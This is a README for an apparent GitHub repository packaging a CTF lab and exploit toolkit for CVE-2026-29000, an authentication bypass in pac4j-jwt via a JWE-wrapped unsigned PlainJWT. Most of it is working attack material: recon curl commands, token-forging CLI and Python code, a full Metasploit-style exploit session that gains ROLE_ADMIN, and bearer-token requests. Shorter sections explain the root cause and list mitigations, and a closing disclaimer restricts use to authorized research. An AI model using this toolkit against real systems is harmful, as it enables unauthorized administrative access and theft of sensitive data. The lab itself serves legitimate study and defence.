CTF lab and exploit toolkit for CVE-2026-29000, a pac4j-jwt JWE authentication bypass. Includes vulnerable Flask target, token forging library, interactive exploit console, and Java PoC.
CTF lab for researching the JWE authentication vulnerability in the pac4j-jwt library CVSS 9.3 (Critical) · CWE-287 · Affected: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
pac4j-jwt in affected versions allows bypassing the entire JWT authentication mechanism by crafting a PlainJWT (alg=none, no signature) and then wrapping it inside a JWE (JSON Web Encryption). After decrypting the JWE layer, the library does not verify the algorithm of the inner JWT — the claims are fully trusted, including roles.
Attack chain:
X-Powered-By: pac4j/6.0.3 ← version leak → identify framework
↓
OIDC Discovery → JWKS → RSA public key ← public information
↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
↓
Auth bypass → GET /admin?token=<JWE> ← access admin panel
↓
Read sensitive data: employee list, system config, flag
CVE-2026-29000/
├── lab/ # Target – Flask app (NexusBank Employee Portal)
│ ├── app.py # Vulnerable main application
│ ├── Dockerfile # Flag baked into /flag.txt at build time
│ └── requirements.txt
│
├── token_forge/ # Python library for forging JWE tokens
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # Interactive exploit console (Metasploit-style)
│
├── poc/ # Java PoC – confirms in-process bypass
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| Tool | Version | Notes |
|---|---|---|
| Docker Desktop | 24+ | Runs the lab target |
| Docker Compose | v2+ | Bundled with Docker Desktop |
| Python | 3.11+ | Runs exploit.py and token_forge |
| Java + Maven | 11+ | Only needed for the Java PoC |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
Confirm the lab is running:
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
Custom flag:
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py is an interactive Metasploit-style console. The user performs recon to gather information, then configures and exploits.
python scripts/exploit.py
# Or pre-set from the command line:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
Full example session:
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
Open the URL above in your browser to access the admin dashboard.
PUBKEY supports 3 formats:
# 1. JWKS URL — auto-fetched (recommended)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. Already downloaded file
set PUBKEY /tmp/key.json
# 3. Paste raw JSON directly
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# Detect the framework via response header
curl -sI http://TARGET:8080
# Find hidden endpoints
curl -s http://TARGET:8080/robots.txt
# RFC 8414: pac4j always exposes this endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration
# Get the RSA public key from jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# Confirm the bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# Open the admin dashboard in your browser
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
Confirm the bypass directly in the JVM with Nimbus JOSE + pac4j 6.0.3:
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# Print token only
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# With coverage report
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| Location | Issue |
|---|---|
JwtAuthenticator.validateToken() | After decrypting the JWE, calls PlainJWT.parse() instead of SignedJWT.parse() |
_payload_to_claims() in lab | base64decode + json.loads directly, without verifying the signature |
Flawed processing flow:
JWE decrypt → get payload → base64decode → json.loads → trust claims
↑ missing inner JWT signature verification step
| Measure | Details |
|---|---|
| Upgrade pac4j-jwt | To >= 6.3.3 / 5.7.9 / 4.5.9 |
| Reject PlainJWT | Check alg != "none" after decrypting the JWE |
| Remove version header | Disable X-Powered-By in production |
| Least privilege | Do not run the container as root |
Warning: This repo is intended solely for security research and CTF purposes in controlled environments. Do not use it on systems without authorization.